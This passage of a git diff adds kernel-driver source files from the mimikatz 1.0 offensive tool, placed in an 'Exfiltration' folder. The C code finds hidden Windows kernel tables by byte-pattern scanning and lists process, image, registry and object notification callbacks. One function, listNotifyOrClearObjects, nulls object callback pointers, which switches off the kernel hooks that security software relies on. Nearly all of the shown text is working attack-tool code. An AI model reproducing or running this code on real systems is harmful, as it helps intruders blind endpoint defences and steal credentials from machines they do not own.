sizeof(AUX_MODULE_EXTENDED_INFO), NULL); + if (NT_SUCCESS(status)) + { + if(modulesSize > 0) + { + numberOfModules = modulesSize / sizeof(AUX_MODULE_EXTENDED_INFO); + modules = (AUX_MODULE_EXTENDED_INFO*) ExAllocatePoolWithTag(PagedPool, modulesSize, POOL_TAG); + + if(modules != NULL) + { + status = AuxKlibQueryModuleInformation(&modulesSize, sizeof(AUX_MODULE_EXTENDED_INFO), modules); + if (NT_SUCCESS(status)) + { + for(i = 0; i < numberOfModules; i++) + { + status = STATUS_NOT_FOUND; + if(theAddr >= (ULONG_PTR) modules[i].BasicInfo.ImageBase && theAddr < ((ULONG_PTR) modules[i].BasicInfo.ImageBase + modules[i].ImageSize)) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L"%p [%S+%u]", + theAddr, + modules[i].FullPathName + modules[i].FileNameOffset, + theAddr - (ULONG_PTR) modules[i].BasicInfo.ImageBase + ); + break; + } + + + } + + if(status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"%p [?]", theAddr); + if (NT_SUCCESS(status)) status = STATUS_NOT_FOUND; + } + } + ExFreePoolWithTag(modules, POOL_TAG); + } + } + } + } + + return status; +} + + + diff --git a/Exfiltration/mimikatz-1.0/driver/modules.h b/Exfiltration/mimikatz-1.0/driver/modules.h new file mode 100644 index 0000000..86fe625 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/modules.h @@ -0,0 +1,7 @@ +#pragma once +#include <ntddk.h> +#include <aux_klib.h> +#include "k_types.h" + +NTSTATUS kModulesList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS getModuleFromAddr(ULONG_PTR theAddr, LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining);
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify.h b/Exfiltration/mimikatz-1.0/driver/notify.h new file mode 100644 index 0000000..8ee225a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify.h @@ -0,0 +1,19 @@ +#pragma once +#include <ntifs.h> +#include "k_types.h" +#include "modules.h" +#include "mod_memory.h" +#include "notify_process.h" +#include "notify_thread.h" +#include "notify_image.h" +#include "notify_reg.h" +#include "notify_object.h" + +typedef struct _KIWI_CALLBACK +{ + #ifdef _M_IX86 + PVOID unk0; + #endif + PVOID * callback; + LARGE_INTEGER * opt_cookie; // structure de feignant pour les process;threads;images aussi +} KIWI_CALLBACK, *PKIWI_CALLBACK; diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.c b/Exfiltration/mimikatz-1.0/driver/notify_image.c new file mode 100644 index 0000000..6f03fd4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.c @@ -0,0 +1,117 @@ +#include "notify_image.h" + +ULONG * PspLoadImageNotifyRoutineCount = NULL; +PVOID * PspLoadImageNotifyRoutine = NULL; + +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyImages\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspLoadImageNotifyRoutine(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspLoadImageNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35}; + LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image); + UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d}; + LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image); + + LONG OFFS_WNT5_Count = - 0x0c; + LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56}; + UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6}; + UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6}; + LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID); + + LONG OFFS_WNT5_Count = - 0x18; + LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; + LONG OFFS_WIN8_Count = - 0x20; + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Image; + taille = sizeof(PTRN_WNT5_Image); + #ifdef _M_X64 + offsetTo = OFFS_WNT5_Image; + #endif + offsetToCount = OFFS_WNT5_Count; + } + else + { + #ifdef _M_X64 + pattern = PTRN_WNT6_Image; + taille = sizeof(PTRN_WNT6_Image); + offsetTo = OFFS_WNT6_Image; + offsetToCount = OFFS_WNT6_Count; + #elif defined _M_IX86 + if(INDEX_OS < INDEX_8) + { + pattern = PTRN_WNO8_Image; + taille = sizeof(PTRN_WNO8_Image); + offsetToCount = OFFS_WNO8_Count; + } + else + { + pattern = PTRN_WIN8_Image; + taille = sizeof(PTRN_WIN8_Image); + offsetToCount = OFFS_WIN8_Count; + } + #endif + } + #ifdef _M_IX86 + offsetTo = OFFS_WALL_Image; + #endif + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspLoadImageNotifyRoutine = (PVOID) (pointeur); + PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + + if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h new file mode 100644 index 0000000..f6e0711 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_image.h @@ -0,0 +1,10 @@ +#pragma once +#include "notify.h" + +#define MAX_NT_PspLoadImageNotifyRoutine 8 + +ULONG * PspLoadImageNotifyRoutineCount; +PVOID * PspLoadImageNotifyRoutine; + +NTSTATUS getPspLoadImageNotifyRoutine(); +NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c new file mode 100644 index 0000000..9eac3bb --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.c @@ -0,0 +1,173 @@ +#include "notify_object.h" + +POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL; + +const WCHAR *procCallToName[] = { + L"Dump ", + L"Open ", + L"Close ", + L"Delete ", + L"Parse ", + L"Security ", + L"QueryName ", + L"OkayToClose", +}; + +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif); +} + +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif); +} + +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action) +{ + NTSTATUS status; + ULONG i, j; + POBJECT_DIRECTORY_ENTRY monEntree; + POBJECT_TYPE monType, monTypeDecal; + PVOID * miniProc; + POBJECT_CALLBACK_ENTRY pStruct; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n"); + + if(NT_SUCCESS(status)) + { + status = getObpTypeDirectoryObject(); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++) + { + if((*ObpTypeDirectoryObject)->HashBuckets[i]) + { + for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry) + { + if(monType = monEntree->Object) + { + if(INDEX_OS < INDEX_VISTA) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE)); + + if(action == ListNotif) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name)); + for(j = 0; (j < 8) && NT_SUCCESS(status); j++) + { + miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j + #ifdef _M_IX86 + - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0) + #endif + ); + if(*miniProc) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + if(INDEX_OS >= INDEX_VISTA) + { + if(INDEX_OS < INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK)); + else if (INDEX_OS > INDEX_7) + monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks + + for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink) + { + if(pStruct->PreOperation || pStruct->PostOperation) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);; + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + + if(action == ClearNotif) + { + pStruct->PreOperation = NULL; + pStruct->PostOperation = NULL; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n"); + } + } + } + } + } + } + } + } + } + } + return status; +} + +NTSTATUS getObpTypeDirectoryObject() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3; + #elif defined _M_IX86 + UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84}; + LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1; + LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; + #endif + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + + if(ObpTypeDirectoryObject) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType"); + if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refFin = refDebut + PAGE_SIZE; + + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + offsetTo = OFFS_WNT5_Object; + else + { + offsetTo = OFFS_WNO8_Object; + #ifdef _M_X64 + refFin = refDebut - PAGE_SIZE; + #endif + } + } + else + offsetTo = OFFS_WIN8_Object; + + retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo); + } + } + return retour; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h new file mode 100644 index 0000000..96d5517 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_object.h @@ -0,0 +1,79 @@ +#pragma once +#include "notify.h" + +#define OBJECT_HASH_TABLE_SIZE 37 + +typedef struct _OBJECT_DIRECTORY_ENTRY { + struct _OBJECT_DIRECTORY_ENTRY *NextEntry; + PVOID Object; + ULONG HashValue; // pas en NT5 +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE]; + EX_PUSH_LOCK Lock; + PVOID DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; // a partir de là, différent en NT5, mais pas utilisé... + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_TYPE_INITIALIZER // NT6, décaler ULONG en NT5x86 (compensé par l'alignement en x64) +{ + SHORT Length; + UCHAR ObjectTypeFlags; + ULONG ObjectTypeCode; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + ULONG RetainAccess; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE, *POBJECT_TYPE; + +typedef struct _OBJECT_CALLBACK_ENTRY { + LIST_ENTRY CallbackList; + OB_OPERATION Operations; + ULONG Active; + /*OB_HANDLE*/ PVOID Handle; + POBJECT_TYPE ObjectType; + POB_PRE_OPERATION_CALLBACK PreOperation; + POB_POST_OPERATION_CALLBACK PostOperation; +} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY; + +typedef enum _KIWI_NOTIF_OBJECT_ACTION +{ + ListNotif, + ClearNotif +} KIWI_NOTIF_OBJECT_ACTION; + +POBJECT_DIRECTORY * ObpTypeDirectoryObject; + +NTSTATUS getObpTypeDirectoryObject(); +NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); +NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c new file mode 100644 index 0000000..87cc3ed --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.c @@ -0,0 +1,137 @@ +#include "notify_process.h" + +ULONG * PspCreateProcessNotifyRoutineCount = NULL; +ULONG * PspCreateProcessNotifyRoutineExCount = NULL; +PVOID * PspCreateProcessNotifyRoutine = NULL; + +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + ULONG bonusCount; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n"); + if(NT_SUCCESS(status)) + { + status = getPspCreateProcessNotifyRoutine(); + if(NT_SUCCESS(status)) + { + bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount); + for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); + } + } + } + } + } + } + return status; +} + +NTSTATUS getPspCreateProcessNotifyRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb}; + LONG OFFS_WNT5_Process = -4; + UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3; + UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3; + + PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = - 0x18; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74}; + LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2; + UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45}; + LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1; + UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe}; + LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process); + + PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine; + PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE; + PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt; + PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE; + + LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; + LONG OFFS_WIN8_CountEx = - 0x20; + LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; + LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); + LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG); + #endif + + PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0; + LONG offsetToCountEx = 0, offsetToCount = 0; + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + { + retour = STATUS_SUCCESS; + } + else + { + if(INDEX_OS < INDEX_8) + { + if(INDEX_OS < INDEX_VISTA) + { + pattern = PTRN_WNT5_Process; + taille = sizeof(PTRN_WNT5_Process); + offsetTo = OFFS_WNT5_Process; + offsetToCount = OFFS_WNT5_Count; + } + else + { + pattern = PTRN_WNO8_Process; + taille = sizeof(PTRN_WNO8_Process); + offsetTo = OFFS_WNO8_Process; + offsetToCountEx = OFFS_WNO8_CountEx; + offsetToCount = OFFS_WNO8_Count; + } + refDebut = REF_D_WNO8_Process; + refFin = REF_F_WNO8_Process; + } + else + { + pattern = PTRN_WIN8_Process; + taille = sizeof(PTRN_WIN8_Process); + offsetTo = OFFS_WIN8_Process; + refDebut = REF_D_WIN8_Process; + refFin = REF_F_WIN8_Process; + offsetToCountEx = OFFS_WIN8_CountEx; + offsetToCount = OFFS_WIN8_Count; + } + + retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); + if(NT_SUCCESS(retour)) + { + PspCreateProcessNotifyRoutine = (PVOID) (pointeur); + PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); + if(INDEX_OS >= INDEX_VISTA) + PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx); + + if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) + retour = STATUS_SUCCESS; + } + } + return retour; +} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h new file mode 100644 index 0000000..27cbe3a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_process.h @@ -0,0 +1,12 @@ +#pragma once +#include "notify.h" + +#define MAX_NT6_PspCreateProcessNotifyRoutine 64 +#define MAX_NT5_PspCreateProcessNotifyRoutine 8 + +ULONG * PspCreateProcessNotifyRoutineCount; +ULONG * PspCreateProcessNotifyRoutineExCount; +PVOID * PspCreateProcessNotifyRoutine; + +NTSTATUS getPspCreateProcessNotifyRoutine(); +NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c new file mode 100644 index 0000000..843cfba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/notify_reg.c @@ -0,0 +1,137 @@ +#include "notify_reg.h" + +ULONG * CmpCallBackCount = NULL; +PVOID * CmpCallBackVector = NULL; +PLIST_ENTRY CallbackListHead = NULL; + +NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG i; + PKIWI_CALLBACK monCallBack; + PLIST_ENTRY maListe; + PKIWI_REGISTRY6_CALLBACK monCallBack6; + + *ppszDestEnd = pszDest; *pcbRemaining= cbDest; + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n"); + if(NT_SUCCESS(status)) + { + status = getNotifyRegistryRoutine(); + if(NT_SUCCESS(status)) + { + if(INDEX_OS < INDEX_VISTA) + { + for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++) + { + monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]); + if(monCallBack != NULL) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - cookie %#.I64x\n", *(monCallBack->opt_cookie) + ); + } + } + } + } + } + else + { + for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++) + { + monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG))); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); + if(NT_SUCCESS(status)) + { + status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); + if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, + L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie); + } + } + } + } + } + } + return status; +} + +NTSTATUS getNotifyRegistryRoutine() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + #ifdef _M_X64 + UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d}; + UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05}; + + UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48}; + LONG OFFS_WN60_Head = -9; + UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48}; + LONG OFFS_WALL_Head = -9; + #elif defined _M_IX86 + UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb}; + UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9}; + + UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8}; + LONG OFFS_WN60_Head = 12; + UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8}; + LONG OFFS_WN61_Head = -4; 